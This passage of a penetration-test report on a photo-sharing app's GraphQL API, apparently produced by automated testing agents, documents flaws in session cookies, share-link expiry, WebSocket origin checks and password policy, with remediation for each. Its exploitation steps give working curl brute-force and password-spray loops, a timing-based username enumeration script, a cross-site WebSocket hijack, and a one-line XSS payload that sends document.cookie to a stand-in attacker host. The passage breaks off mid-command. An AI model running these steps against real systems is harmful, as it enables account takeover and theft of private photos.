Vary: Accept-Encoding
Date: Fri, 28 Aug 2026 22:23:06 GMT

{"data":{"authorizeUser":{"success":true,"status":"ok","token":"5ojZ73kCilOVULFKnPrVSG3S"}}
```

No Set-Cookie, no HttpOnly, no Secure, no Cache-Control. The SPA writes it client-side as auth-token=<token> ;max-age=1209600 ;path=/ ;sameSite=Lax.

Step 2 — Read the live session token out of the DOM

```
playwright-cli -s=agent3 eval "() => document.cookie"
# "auth-token=d80lm6G5HtdUZgdir1iS7zek"
```

This is exactly what a one-line XSS payload (fetch('//attacker/?c='+document.cookie)) would do.

Step 3 — Replay the stolen value from a separate client

```
curl -s -X POST http://host.docker.internal:4800/api/graphql -H 'Content-Type: application/json' \
-H 'Cookie: auth-token=d80lm6G5HtdUZgdir1iS7zek' \
--data '{"query":"{myUser{id username admin} user{id username admin}}"}'
```

The user query is admin-gated, so answering it proves the replayed token carries administrator privilege, not just identity.

Proof of Impact

1. Token read from the browser's cookie jar by JavaScript, proving no HttpOnly:

```
$ playwright-cli -s=agent3 eval "() => document.cookie"
"auth-token=d80lm6G5HtdUZgdir1iS7zek"
```

2. Same value replayed from curl on a different client, granting administrator identity and the admin-only user list:

```
{
  "data": {
    "myUser": {
      "id": "1",
      "username": "admin",
      "admin": true
    },
    "user": [
      {
        "id": "1",
        "username": "admin",
        "admin": true
      },
      {
        "id": "2",
        "username": "alice",
        "admin": false
      },
      {
        "id": "3",
        "username": "bob",
        "admin": false
      },
      {
        "id": "5",
        "username": "pentest5",
        "admin": false
      }
    ]
  }
}
```

- The login response contains no Set-Cookie header (zero `http.SetCookie` calls exist in `api/`) and no Cache-Control, so the token-bearing response is also cacheable.

Remediation

Issue the session server-side: have the `authorizeUser` resolver call `http.SetCookie` with `HttpOnly`, `Secure`, `SameSite=Strict` and `Path=/` (ideally a `__Host-` prefixed name), stop returning the token in the GraphQL response body, and set `Cache-Control: no-store` on authentication responses. Update `ui/src/helpers/authentication.ts` to stop writing `document.cookie`, and stop storing share passwords in cleartext cookies in `saveSharePassword` (`authentication.ts:16`).

Notes

- No XSS was proven by this specialist; the cookie read here was performed through the page's own JS context to demonstrate the missing `HttpOnly` flag and the replayability of the token.

AUTH-04: Share-Link Expiry Not Enforced in the `shareToken` Query or the Token-Authenticated Media Routes

MEDIUM

OWASP A01:2025 — Broken Access Control

Location	POST <code>/api/graphql</code> [query <code>shareToken</code> , <code>shareTokenValidatePassword</code>] and GET <code>/api/download/album/{album_id}/{media_purpose}?token=</code> , GET <code>/api/photo/{name}?token=</code> — <code>shareTokenFromRequest</code> , <code>api/routes/authenticate_routes.go:63-127</code>
Auth state	Unauthenticated (share token only)
Prerequisites	Possession of a share token value. The expired token used in the proof was minted through the album owner's <code>shareAlbum</code> mutation with a past expire — owner-side state, not attacker privilege.
Overview	<code>ShareToken.Expire</code> is written when a share is created (<code>share_token_actions.go:46,87</code>) and displayed in the UI, but it is never compared against <code>time.Now()</code> in any validation path. A share token whose expiry is six years in the past still resolves anonymously and still serves the album's media over both GraphQL and REST. The REST path additionally leaks a token-existence oracle through its status codes (500 = no such token, 403 = token exists but password-protected, 200 = valid).
Impact	A share link created with expire: 2020-01-01 — reported as long expired by the owner and the UI — was used from an unauthenticated client to read the full album listing (titles and absolute server paths such as <code>/photos/autumn-park.jpg</code>) and to download the album archive (HTTP 200, 23,684 bytes). Every share link ever issued on this instance is permanently live regardless of the expiry the owner chose.

Exploitation Steps

Step 1 — As the album owner, create an already-expired share link

```
curl -s -X POST http://host.docker.internal:4800/api/graphql -H 'Content-Type: application/json' \
-H 'Cookie: auth-token=[OWNER_TOKEN]' \
--data '{"query":"mutation{shareAlbum(albumId:1, expire:\"2020-01-01T00:00:00Z\"){token expire}}}"'
# {"data":{"shareAlbum":{"token":"ia2ZINI7","expire":"2020-01-01T00:00:00Z"}}
```

Step 2 — Resolve the expired token from an unauthenticated client

```
curl -s -X POST http://host.docker.internal:4800/api/graphql -H 'Content-Type: application/json' \
--data '{"query":"{shareToken(credentials:{token:\"ia2ZINI7\"}){token expire album {id title media{title path thumbnail{url}}}}}"'

```

```
{
  "data": {
    "shareToken": {
      "token": "ia2ZINI7",
      "expire": "2020-01-01T00:00:00Z",
      "album": {
        "id": "1",
        "title": "photos",
        "media": [
          {
            "title": "autumn-park.jpg",
            "path": "/photos/autumn-park.jpg",
            "thumbnail": {
              "url": "/api/photo/thumbnail_autumn-park_jpg_DjLloXqI.jpg"
            }
          }
        ]
      }
    }
  }
}
```

Step 3 — Download media through the REST path with the same expired token

```
curl -s -o /tmp/album.zip -w '%{http_code} %{size_download}\n' \
'http://host.docker.internal:4800/api/download/album/1/thumbnail?token=ia2ZINI7'
# 200 23684

curl -s -o /tmp/p.jpg -w '%{http_code} %{size_download} %{content_type}\n' \
'http://host.docker.internal:4800/api/photo/thumbnail_autumn-park_jpg_DjLloXqI.jpg?token=ia2ZINI7'
# 200 23438 image/jpeg
```

Step 4 — Map the token-existence oracle on the REST path

```
for t in AAAAAAAA ZZZZZZZZ ia2ZINI7 sp4kBHWj; do printf '%s -> ' $t
  curl -s -o /dev/null -w '%{http_code}\n' "http://host.docker.internal:4800/api/download/album/1/thumbnail?token=$t"; done
# AAAAAAAA -> 500 (no such token)
# ZZZZZZZZ -> 500 (no such token)
# ia2ZINI7 -> 200 (valid, no password)
# sp4kBHWj -> 403 (token exists, password-protected)
```

Proof of Impact

1. Share token ia2ZINI7, expiry 2020-01-01T00:00:00Z, resolved anonymously today:

```
{
  "data": {
    "shareToken": {
      "token": "ia2ZINI7",
      "expire": "2020-01-01T00:00:00Z",
      "album": {
        "id": "1",
        "title": "photos",
        "media": [
          {
            "title": "autumn-park.jpg",
            "path": "/photos/autumn-park.jpg",
            "thumbnail": {
              "url": "/api/photo/thumbnail_autumn-park_jpg_DjLloXqI.jpg"
            }
          },
          {
            "title": "city-skyline.jpg",
            "path": "/photos/city-skyline.jpg",
            "thumbnail": {
              "url": "/api/photo/thumbnail_city-skyline_jpg_DjLloXqI.jpg"
            }
          },
          {
            "title": "desert-dunes.jpg",
            "path": "/photos/desert-dunes.jpg",
            "thumbnail": {
              "url": "/api/photo/thumbnail_desert-dunes_jpg_DjLloXqI.jpg"
            }
          }
        ]
      }
    }
  }
}
```

```
GET /api/download/album/1/thumbnail?token=ia2ZINI7 -> 200, 23684 bytes
GET /api/photo/thumbnail_autumn-park_jpg_DjLloXqI.jpg?token=ia2ZINI7 -> 200, 23438 bytes, image/jpeg
GET /api/photo/thumbnail_autumn-park_jpg_DjLloXqI.jpg (no token) -> 403
```

2. The same image without the token is refused, confirming the expired token is doing the authorising.

Remediation

Add an expiry predicate to every share-token consumption site: in `shareTokenFromRequest` (`api/routes/authenticate_routes.go:63-127`) and in the `shareToken / shareTokenValidatePassword` resolvers, reject tokens where `Expire` is non-nil and before `time.Now()`, ideally by scoping the query itself (`WHERE value = ? AND (expire IS NULL OR expire > NOW())`). Return HTTP 403 uniformly for missing, expired and unauthorised tokens so the 500/403/200 status split stops acting as a token-existence oracle, and add a unique index on `ShareToken.Value`.

Notes

- Token entropy is ~47.6 bits (8 characters over [A-Za-z0-9], `api/utils/utils.go:15-31`), so the status-code oracle does not make enumeration practical; the ignored expiry is the defect that matters. Test shares created during this run: `ia2ZINI7`, `6Ok7S88p`, `6qUZDbAN`, `sp4kBHWj`, `aQbuI8He` on album 1 — these should be deleted.

AUTH-05: Unauthenticated, Unthrottled Password Oracle on the `shareTokenValidatePassword` Query

MEDIUM

OWASP A07:2025 — Authentication Failures

Location	POST <code>/api/graphql</code> — query <code>shareTokenValidatePassword(credentials: {token, password})</code> ; no directive on <code>schema.graphql:91,93</code>
Auth state	Unauthenticated
Prerequisites	Possession of a share token value (8-character string from the share URL). The password-protected shares used in the proof were created through the owner's <code>shareAlbum</code> mutation to give the brute force a known target; no owner privilege was used during the attack itself.
Overview	The share-link password check is exposed as a fully anonymous boolean oracle with no attempt counter, lockout, backoff or CAPTCHA. 150 guesses against a single share token ran at a flat ~0.32 s each with no defensive response, recovering the password, which was then replayed via the <code>share-token-pw-<token></code> cookie to download the protected album.
Impact	Recovered the password protecting share token <code>aQbuI8He</code> in 150 unthrottled guesses, and repeated the chain end to end on a second share (<code>sp4kBHWj</code> , password <code>letmein</code>): cracked password → <code>share-token-pw-<token></code> cookie → HTTP 200 and 23,684 bytes of the protected album archive, plus the full media listing with absolute server paths. The password on a share link provides no meaningful protection.

Exploitation Steps

Step 1 — Create or obtain a password-protected share

```
curl -s -X POST http://host.docker.internal:4800/api/graphql -H 'Content-Type: application/json' \
  -H 'Cookie: auth-token=[OWNER_TOKEN]' \
  --data '{"query": "mutation{shareAlbum(albumId:1, password:\"letmein\"){token hasPassword}}}"' \
  # {"data":{"shareAlbum":{"token":"sp4kBHWj","hasPassword":true}}}
```

From here on, everything is unauthenticated.

Step 2 — Confirm the oracle is anonymous and clean

```
curl -s -X POST http://host.docker.internal:4800/api/graphql -H 'Content-Type: application/json' \
  --data '{"query":"{shareTokenValidatePassword(credentials:{token:\"sp4kBHWj\",password:\"nope\"})}}\"}'
# {"data":{"shareTokenValidatePassword":false}}
curl -s -X POST http://host.docker.internal:4800/api/graphql -H 'Content-Type: application/json' \
  --data '{"query":"{shareTokenValidatePassword(credentials:{token:\"sp4kBHWj\",password:\"letmein\"})}}\"}'
# {"data":{"shareTokenValidatePassword":true}}
```

Step 3 — Brute-force the share password

```
while read -r p; do
  r=$(curl -s -X POST http://host.docker.internal:4800/api/graphql -H 'Content-Type: application/json' \
    --data '{"query\":\"{shareTokenValidatePassword(credentials:{token:\\\"[TOKEN]\\\\\",password:\\\"$p\\\\\"})}}\"}')
  echo "$p -> $r"
  case "$r" in *true*) echo "CRACKED: $p"; break;; esac
done < wordlist.txt
```

Against token aQbuI8He this recovered 'hunter2' at guess 150 of 150, in 129.8 s (1.16 guesses/s).

Step 4 — Weaponise the cracked password over REST and GraphQL

```
curl -s -b 'share-token-pw-sp4kBHWj=letmein' -o /tmp/album.zip -w '%{http_code} %{size_download}\n' \
  'http://host.docker.internal:4800/api/download/album/1/thumbnail?token=sp4kBHWj'
# 200 23684 (403 without the cookie)

curl -s -X POST http://host.docker.internal:4800/api/graphql -H 'Content-Type: application/json' \
  --data '{"query\":\"{shareToken(credentials:{token:\"sp4kBHWj\",password:\"letmein\"}){album{title media{title path}}}}\"}'
```

Proof of Impact

1. Brute-force run against share token aQbuI8He:

```
SUCCESS - password 'hunter2' for share token aQbuI8He
attempts made : 150 (stopped only on success)
elapsed       : 129.775 s -> 1.16 guesses/sec single-threaded
hit response  : {"data":{"shareTokenValidatePassword":true}}
```

```
HTTP status counts: 200 x145, client-side timeouts x5
HTTP 429 / rate limiting : NONE
lockout                : NONE
delay escalation       : NONE (latency flat ~0.32s from guess 1 to guess 150)
CAPTCHA                : NONE
```

2. Full chain repeated on a fresh share sp4kBHWj (password letmein):

```
cookie replay      : GET /api/download/album/1/thumbnail?token=sp4kBHWj
                    with Cookie: share-token-pw-sp4kBHWj=letmein -> 200, 23684 byte
s
same request without the cookie                                -> 403
```

Remediation

Rate-limit shareTokenValidatePassword per token and per source IP (e.g. 5 attempts then exponential backoff / HTTP 429), and lock or disable a share token after a threshold of failed password attempts with a notification to the share owner. Enforce a minimum share-password strength at shareAlbum/shareMedia/protectShareToken time, and stop persisting the share password in a cleartext share-token-pw-<token> cookie — issue a short-lived signed capability token after successful validation instead.

Notes

- Each guess costs the server a cost-12 bcrypt, so this anonymous endpoint doubles as a CPU-exhaustion primitive. Test shares aQbuI8He and sp4kBHWj on album 1 should be deleted.

AUTH-06: No Origin Validation on the WebSocket Upgrade at /api/graphql (CheckOrigin Fails Open)

MEDIUM

OWASP A02:2025 — Security Misconfiguration

Location	WS /api/graphql — upgrade handled by CheckOrigin at api/server/websocket.go:14-25; no InitFunc registered at api/graphql/endpoint/graphql_endpoint.go:30-33
Auth state	Victim's ambient session cookie (cross-site attacker context)
Prerequisites	The victim must be logged in and visit an attacker-controlled page. The auth-token cookie is SameSite=Lax, which browsers do not apply to WebSocket handshakes the way they apply to XHR, and no CSRF token or Origin check exists on the upgrade.
Overview	CheckOrigin fails open in this deployment — it returns true in devMode, when UiEndpointUrl() is nil (which it is whenever the container also serves the UI), or when the Origin header is empty. The server therefore accepts a WebSocket upgrade carrying an arbitrary attacker Origin and authenticates the subscription purely from the ambient auth-token cookie, enabling cross-site WebSocket hijacking.
Impact	A WebSocket opened with Origin: http://evil.example.com, authenticated only by the victim's cookie, received 50 frames of the victim's live notification stream — leaking server-side cache paths and other users' media filenames such as /home/photoview/media-cache/2/11/thumbnail_alice-sunset_jpg_8M94hUta.jpg. The identical connection with no cookie was rejected with 'unauthorized', proving the data was released solely on the strength of the ambient cookie and that the origin is never checked.

Exploitation Steps

Step 1 — Upgrade from an arbitrary foreign origin with the victim's cookie

```
GET /api/graphql HTTP/1.1
Host: host.docker.internal:4800
Upgrade: websocket
Connection: Upgrade
Sec-WebSocket-Version: 13
```

```
Sec-WebSocket-Key: [BASE64_16_BYTES]
Sec-WebSocket-Protocol: graphql-ws
Origin: http://evil.example.com
Cookie: auth-token=[VICTIM_TOKEN]
```

```
HTTP/1.1 101 Switching Protocols
Sec-WebSocket-Protocol: graphql-ws
```

Step 2 — Initialise graphql-ws and subscribe

```
{"type": "connection_init", "payload": {}}
{"id": "1", "type": "start", "payload": {"query": "subscription { notification { key type
header content positive negative } }"}}
```

Step 3 — Trigger activity and read the victim's stream

```
curl -s -X POST http://host.docker.internal:4800/api/graphql -H 'Content-Type: appli
cation/json' \
-H 'Cookie: auth-token=[VICTIM_TOKEN]' --data '{"query": "mutation{scanAll{success
message}}"}'
```

```
{"payload": {"data": {"notification": {"key": "", "type": "Message",
"header": "Found new media in album '11'",
"content": "Found /home/photoview/media-cache/2/11/thumbnail_alice-sunset_jpg_8M94h
Uta.jpg"}}}}
```

Step 4 — Run the control cases

Repeat the handshake with no Origin header and the same cookie — also HTTP 101, also 49 frames. Then repeat with no Origin and no cookie: the upgrade still succeeds (there is no gate at upgrade time) but the subscription is refused, proving the data was released by the cookie alone.

```
{"errors": [{"message": "unauthorized", "path": ["notification"]}]}
{"type": "complete"}
```

Step 5 — Package as a drive-by

Host a page that runs new WebSocket('ws://host.docker.internal:4800/api/graphql?graphql-ws'), sends the two init/start frames on open, and posts every received frame to an attacker collector. Any logged-in user who loads the page streams their notification feed to the attacker.

Proof of Impact

#	Origin	Cookie	Handshake	Result
1	http://evil.example.com	victim auth-token	HTTP 101	50 frames — full
2	(none)	victim auth-token	HTTP 101	49 frames — full
3	(none)	(none)	HTTP 101	{"errors": [{"mess

1. Case 1, the cross-origin hijack, verbatim:

```

Origin: http://evil.example.com
Cookie: auth-token=[VICTIM_TOKEN]
-> HTTP/1.1 101 Switching Protocols
<<< {"type":"connection_ack"}
<<< {"payload":{"data":{"notification":{"key":"","type":"Message",
    "header":"Found new media in album '11'",
    "content":"Found /home/photoview/media-cache/2/11/thumbnail_alice-sunset_jpg_8M
94hUta.jpg"}}}}

```

- Case 3 proves subscription authentication is otherwise functional, so cases 1 and 2 are an origin-check failure, not an authorisation failure.

Remediation

Make CheckOrigin (api/server/websocket.go:14-25) fail closed: require the Origin header to be present and to exactly match the configured public UI origin (fall back to the request Host when the API serves the UI), and reject the upgrade with HTTP 403 otherwise; remove the devMode and nil-UiEndpointUrl escape hatches from production builds. Register auth.AuthWebsocketInit as the transport.Websocket InitFunc (api/graphql/endpoint/graphql_endpoint.go:30-33) so the socket authenticates from an explicit connection_init bearer token rather than an ambient cookie.

Notes

- The captured *models.User — including the admin bit and token expiry — is frozen for the socket's lifetime (api/graphql/auth/auth.go:29-52). A real victim browser was not staged; the three cases were reproduced with exact browser-equivalent handshakes using a raw-socket client.

AUTH-07: Session Fixation — Login Does Not Clear or Path-Pin the auth-token Cookie

MEDIUM

OWASP A07:2025 — Authentication Failures

Location	POST /api/graphql [mutation authorizeUser] → ui/src/Pages/LoginPage/loginUtilities.tsx:13-16 (login writes the cookie without clearing first); server reads the first auth-token cookie via r.Cookie("auth-token")
Auth state	Unauthenticated attacker holding a token for an account they control; victim logs in normally
Prerequisites	The attacker must be able to set a cookie for the target origin in the victim's browser before the victim logs in (XSS, a sibling subdomain, a malicious extension, or a Set-Cookie injected on the plaintext HTTP channel), and must hold a session token for an account they control.
Overview	The SPA writes auth-token on path=/ at login without destroying any pre-existing cookie of the same name on a narrower path, and the Go server reads whichever auth-token cookie the browser sends first. Planting auth-token=<attacker token>; path=/api before login causes the victim to log in successfully in the UI while every API request executes as the attacker's account. The cookie also carries no __Host- prefix or path pinning.
Impact	A browser was driven through a genuine successful administrator login — it reached /timeline and document.cookie held the freshly issued admin token — yet every API call from that page resolved as the attacker-controlled account: {"myUser":{"id":"7","username":"victim2","admin":false}}, and the admin-only user query was refused with 'user must be admin'. The victim transparently operates inside a session the attacker holds the token for, so anything they upload or create lands in the attacker's account.

Exploitation Steps

Step 1 — Obtain a token for an attacker-controlled account

```
curl -s -X POST http://host.docker.internal:4800/api/graphql -H 'Content-Type: application/json' \
  --data '{"query":"mutation{authorizeUser(username:\"victim2\",password:\"\")}{token}}'
# {"data":{"authorizeUser":{"token":"VbGnnuPE99mXs3RpTgqY9JPv"}}
```

Step 2 — Plant the token on a narrower path in the victim's browser

```
playwright-cli -s=agent3 goto http://host.docker.internal:4800/login
playwright-cli -s=agent3 eval "()" => { document.cookie='auth-token=VbGnnuPE99mXs3RpTgqY9JPv ;path=/api ;max-age=100000'; return document.cookie; }
```

path=/api covers every API call but is invisible to the SPA pages at /timeline, /albums etc.

Step 3 — Let the victim log in normally

```
playwright-cli -s=agent3 fill e10 "$username"
playwright-cli -s=agent3 fill e13 "$password"
playwright-cli -s=agent3 click e14
# -> Page URL: http://host.docker.internal:4800/timeline
playwright-cli -s=agent3 eval "()" => document.cookie
# "auth-token=VbZRBjiNcWZHlpxMniNyejC" <- the real admin token, path=/ only
```

login() calls saveTokenCookie() with no preceding clearTokenCookie(), so it writes a second auth-token cookie on path=/ and never touches the planted one.

Step 4 — Issue API calls from the logged-in page

```
playwright-cli -s=agent3 eval "async () => { const r = await fetch('/api/graphql',{method:'POST',credentials:'include',headers:{'Content-Type':'application/json'},body:JSON.stringify({query:'{myUser{id username admin}}'})); return await r.text(); }"
# {"data":{"myUser":{"id":"7","username":"victim2","admin":false}}}

playwright-cli -s=agent3 eval "async () => { const r = await fetch('/api/graphql',{method:'POST',credentials:'include',headers:{'Content-Type':'application/json'},body:JSON.stringify({query:'{user{id username}}'})); return await r.text(); }"
# {"errors":[{"message":"user must be admin","path":["user"]}], "data":null}
```

Step 5 — Read the victim's activity from the planted session

```
curl -s -X POST http://host.docker.internal:4800/api/graphql -H 'Content-Type: application/json' \
  -H 'Cookie: auth-token=VbGnnuPE99mXs3RpTgqY9JPv' --data '{"query":"{myUser{id username} myAlbums{id title}}"}'
```

Proof of Impact

```

1. plant attacker cookie:
   document.cookie = 'auth-token=VbGnnuPE99mXs3RpTgqY9JPv ;path=/api ;max-age=100000
   ,

2. victim logs in as $username / $password through the UI
   Page URL: http://host.docker.internal:4800/timeline      <- login genuinely suc
   ceeded
   document.cookie -> "auth-token=VbZRBjiNcWZHZlpXMNiNyejC"  <- fresh ADMIN token,
   path=/

3. API call from that very page:
   fetch('/api/graphql', {credentials:'include', body:'{myUser{id username admin}}'})
 )
   -> {"data":{"myUser":{"id":"7","username":"victim2","admin":false}}}

4. admin-gated field from that very page:
   fetch('/api/graphql', {credentials:'include', body:'{user{id username}}'})
   -> {"errors":[{"message":"user must be admin"}],"data":null}

```

1. The UI believes it is logged in as the administrator; the server treats every request as victim2, the account whose token the attacker planted.

Remediation

Issue the session cookie server-side on login with the `__Host-` prefix (which forces `path=/'` and forbids Domain), and have the server reject requests carrying more than one `auth-token` cookie rather than silently taking the first match from `r.Cookie`. In the SPA, call `clearTokenCookie()` before `saveTokenCookie()` in `login()` (`ui/src/Pages/LoginPage/loginUtilities.tsx:13-16`), and mint a fresh token at login while invalidating any token presented on the login request.

Notes

- The server, not just the SPA's unanchored `authToken()` regex, consumes the shadowing cookie, so the fixation holds for every API request. The cookie plant was performed through the page's JS context to demonstrate the mechanism; no independent XSS was proven — realistic delivery routes are XSS, a sibling subdomain, or Set-Cookie injection on the plaintext channel.

AUTH-08: Username Enumeration via bcrypt Timing Side Channel on the `authorizeUser` Mutation

LOW

OWASP A07:2025 — Authentication Failures

Location	POST <code>/api/graphql</code> — mutation <code>authorizeUser(username, password)</code> ; <code>api/graphql/models/user.go:81-83</code> returns before the <code>bcrypt</code> comparison when the row is missing
Auth state	Unauthenticated
Prerequisites	None. Anonymous network access to <code>http://host.docker.internal:4800</code> . (The optional ground-truth verification step used an administrator session.)
Overview	<code>AuthorizeUser</code> returns before doing any <code>bcrypt</code> work when the username does not exist, so an unauthenticated caller can distinguish real accounts from fake ones purely by response latency — ~1.5 ms for a miss versus ~323 ms for a hit, a 215x separation with zero overlap. The response

bodies are byte-identical, so content-based enumeration is correctly blocked and only the timing channel leaks.

Impact Recovered the complete username roster of the instance — admin, alice, bob — from an unauthenticated position, verified to match the admin-only user query exactly. This is the targeting step that makes the unthrottled brute force practical, discarding invalid candidates at 1.5 ms each instead of spending 330 ms of server bcrypt on them.

Exploitation Steps

Step 1 — Confirm the response body carries no oracle

```
curl -s -X POST http://host.docker.internal:4800/api/graphql -H 'Content-Type: application/json' \
  --data '{"query":"mutation{authorizeUser(username:\"nonexistent_zzz1\",password:\"x\"){success status}}}'
# {"data":{"authorizeUser":{"success":false,"status":"invalid credentials"}}}
curl -s -X POST http://host.docker.internal:4800/api/graphql -H 'Content-Type: application/json' \
  --data '{"query":"mutation{authorizeUser(username:\"admin\",password:\"x\"){success status}}}'
# identical body
```

Step 2 — Measure time_total across a candidate list

```
for u in admin alice bob user test photoview guest root nonexistent_zzz1 qwertyuiop_zz; do
  printf '%-18s ' "$u"
  for i in 1 2 3 4 5; do
    curl -s -o /dev/null -w '%{time_total} ' -X POST http://host.docker.internal:4800/api/graphql \
      -H 'Content-Type: application/json' \
      --data '{"query\":\"mutation{authorizeUser(username:\\\"$u\\\",password:\\\"x\\\"){success}}\"}"
    done; echo
  done
```

Classify on a 50 ms threshold; the clusters do not overlap (max miss 3.3 ms, min hit 319.9 ms), so a single request per candidate suffices.

Step 3 — Confirm the roster against the admin-only user query

```
curl -s -X POST http://host.docker.internal:4800/api/graphql -H 'Content-Type: application/json' \
  -H 'Cookie: auth-token=[ADMIN_TOKEN]' --data '{"query\":\"{user{id username admin}}\"}'
# {"data":{"user":[{"id":"1","username":"admin","admin":true},
# {"id":"2","username":"alice","admin":false},
# {"id":"3","username":"bob","admin":false}]}}
```

Proof of Impact

1. Median latency over 5 samples per candidate, all responses HTTP 200 with identical bodies:

admin	324.9 ms	VALID
alice	323.3 ms	VALID
bob	322.4 ms	VALID
test	2.2 ms	does not exist
user	2.0 ms	does not exist
root	1.6 ms	does not exist
photoview	1.5 ms	does not exist
guest	1.5 ms	does not exist
qwertyuiop_zz	1.1 ms	does not exist
nonexistent_zzz1	1.1 ms	does not exist

215.9x separation, zero overlap (max fast 3.3 ms, min slow 319.9 ms).

2. Ground truth from the admin-only user list confirms the anonymous enumeration was exactly right:

```
{"data":{"user":[{"id":"1","username":"admin","admin":true},
               {"id":"2","username":"alice","admin":false},
               {"id":"3","username":"bob","admin":false}]}}
```

Remediation

In `api/graphql/models/user.go`, always pay the bcrypt cost: when the username lookup misses, run `bcrypt.CompareHashAndPassword` against a fixed dummy hash of the same cost before returning `ErrorInvalidUserCredentials`, so hit and miss paths take equivalent time. Optionally add a small constant-time jitter and log repeated failed-username probes from the same source.

AUTH-09: No Password Policy on the `createUser`, `updateUser` and `initialSetupWizard` Mutations

LOW

OWASP A07:2025 — Authentication Failures

Location	POST <code>/api/graphql</code> — mutations <code>createUser</code> (resolvers/user.go:247), <code>updateUser</code> (resolvers/user.go:220-221) and <code>initialSetupWizard</code> (resolvers/user.go:127); <code>models.RegisterUser</code> at <code>api/graphql/models/user.go:108</code> performs a nil check only
Auth state	Administrator session for account creation; unauthenticated for the resulting logins
Prerequisites	An administrator session is required to reach <code>createUser/updateUser</code> (there is no self-registration). The two disposable accounts used in the proof were created during this test.
Overview	None of the password entry points enforce a minimum length, complexity requirement, breach-list check or even a non-empty string, and no MFA exists anywhere in the application. Accounts were created with the password "1" and with an empty password, and both authenticated successfully through the ordinary login mutation, receiving valid 14-day session tokens.
Impact	Created account <code>victim1</code> with password "1" and <code>victim2</code> with an empty password, then logged in as each from an unauthenticated client — an empty string is a fully functional credential. Combined with the absent login rate limiting and the username-enumeration timing oracle, any account protected this way is compromisable in a handful of requests. The same absence applies to <code>initialSetupWizard</code> , so the very first administrator can be created with an empty password.

Exploitation Steps

Step 1 — Create accounts with trivial passwords as an administrator

```
curl -s -X POST http://host.docker.internal:4800/api/graphql -H 'Content-Type: application/json' \
  -H 'Cookie: auth-token=[ADMIN_TOKEN]' \
  --data '{"query":"mutation{createUser(username:\"victim1\",password:\"1\",admin:false){id username}}}"'
# {"data":{"createUser":{"id":"6","username":"victim1"}}}

curl -s -X POST http://host.docker.internal:4800/api/graphql -H 'Content-Type: application/json' \
  -H 'Cookie: auth-token=[ADMIN_TOKEN]' \
  --data '{"query":"mutation{createUser(username:\"victim2\",password:\"\",admin:false){id username}}}"'
# {"data":{"createUser":{"id":"7","username":"victim2"}}}
```

No policy error is returned for either the single-character or the empty password.

Step 2 — Log in to both from an unauthenticated client

```
curl -s -X POST http://host.docker.internal:4800/api/graphql -H 'Content-Type: application/json' \
  --data '{"query":"mutation{authorizeUser(username:\"victim1\",password:\"1\"){success status token}}}"'
# {"data":{"authorizeUser":{"success":true,"status":"ok","token":"lzZPl0k3zgM5Wj09HhdMbG6"}}}

curl -s -X POST http://host.docker.internal:4800/api/graphql -H 'Content-Type: application/json' \
  --data '{"query":"mutation{authorizeUser(username:\"victim2\",password:\"\"){success status token}}}"'
# {"data":{"authorizeUser":{"success":true,"status":"ok","token":"VbGnnuPE99mXs3RpTgqY9JPv"}}}
```

Step 3 — Spray the weakest candidates at the enumerated accounts

```
for u in admin alice bob; do for p in "" 1 1234 12345678 password admin photoview $u
${u}123 letmein qwerty changeme test; do
  printf '%s/%s -> ' "$u" "$p"
  curl -s -X POST http://host.docker.internal:4800/api/graphql -H 'Content-Type: application/json' \
    --data '{"query\":\"mutation{authorizeUser(username:\\\"$u\\\",password:\\\"$p\\\"){success status}}\"}"; echo
done; done
```

All 38 attempts returned success=false — the live accounts happen to hold strong passwords, so no existing account was compromised; the application contributed no defence.

Proof of Impact

```
mutation createUser(username:"victim1", password:"1") -> {"data":{"createUser":{"id":"6","username":"victim1"}}}
mutation createUser(username:"victim2", password:"") -> {"data":{"createUser":{"id":"7","username":"victim2"}}}

victim1 / "1" -> {"data":{"authorizeUser":{"success":true,"status":"ok","token":"lzZPl0k3zgM5Wj09HhdMbG6"}}}
victim2 / "" -> {"data":{"authorizeUser":{"success":true,"status":"ok","token":"VbGnnuPE99mXs3RpTgqY9JPv"}}}
```

1. models.RegisterUser (api/graphql/models/user.go:108) performs a nil check only; there is no length, complexity or breach check at any of the three password entry points, and no MFA exists in the application.

Remediation

Add a shared password-policy validator invoked by `models.RegisterUser` and by the `updateUser/createUser/initialSetupWizard` resolvers: reject empty passwords, enforce a minimum length (e.g. 12 characters) per NIST SP 800-63B, and check candidates against a breached-password list (e.g. a local Pwned Passwords k-anonymity lookup). Mirror the same validation in the SPA forms and add optional MFA for administrator accounts.

Notes

- Hashing itself is correct (bcrypt cost 12), so this is a policy failure rather than a storage failure. Disposable accounts `victim1` (id 6) and `victim2` (id 7) were created during this test and should be deleted.

Authorization Exploitation Evidence (7 findings)

AUTHZ-01: shareAlbum Ownership Check Ignores the albumId Argument

HIGH

OWASP A01:2025 — Broken Access Control

Location	POST <code>/api/graphql</code> — mutation <code>shareAlbum(albumId, expire, password)</code> ; <code>AddAlbumShare</code> in <code>api/graphql/models/actions/share_token_actions.go</code> . Token redeemed anonymously at query <code>shareToken</code> , GET <code>/api/photo/{name}?token=</code> , GET <code>/api/download/album/{id}/{purpose}?token=</code>
Auth state	Any authenticated non-admin user who owns at least one album; redemption is fully anonymous
Prerequisites	An authenticated low-privilege account that owns at least one album. The target has no self-registration, so the test account was provisioned once by the administrator with a neutral root album granting no access to other tenants' media.
Overview	<code>AddAlbumShare</code> counts how many albums the caller owns instead of checking whether the caller owns the requested album, so the <code>albumId</code> argument never appears in the ownership predicate. Any authenticated user who owns at least one album can therefore mint a share token for any album ID in the instance, and the resulting token is redeemable with no credentials at all.
Impact	A non-admin account with no access to a victim album obtained a permanent, password-less public link to it and used it, unauthenticated, to list the album's contents and download the victim's original photo files (single file and full-album ZIP). Demonstrated against <code>alice</code> 's album; tokens were also minted for <code>bob</code> 's and the administrator's albums, i.e. every album in the instance.

Exploitation Steps

Step 1 — Authenticate as the low-privilege user and confirm it has no access

```
LOW=$(curl -s -X POST http://host.docker.internal:4800/api/graphql -H 'Content-Type: application/json' \
  -d '{"query":"mutation{authorizeUser(username:\"pentest5\",password:\"Pentest5Pass!\"){success token}}}"' | grep -o '"token":"[^"]*" | cut -d'"' -f4)
```

```
curl -s -X POST http://host.docker.internal:4800/api/graphql -H 'Content-Type: application/json' -b "auth-token=$LOW" \
-d '{"query":{"album(id:2){id title filePath}}}'
# -> {"errors":[{"message":"forbidden","path":["album"]}],"data":null}
```

Album 2 is alice's private root album /photos-alice.

Step 2 — Mint a public share token for the victim's album

```
curl -s -X POST http://host.docker.internal:4800/api/graphql -H 'Content-Type: application/json' -b "auth-token=$LOW" \
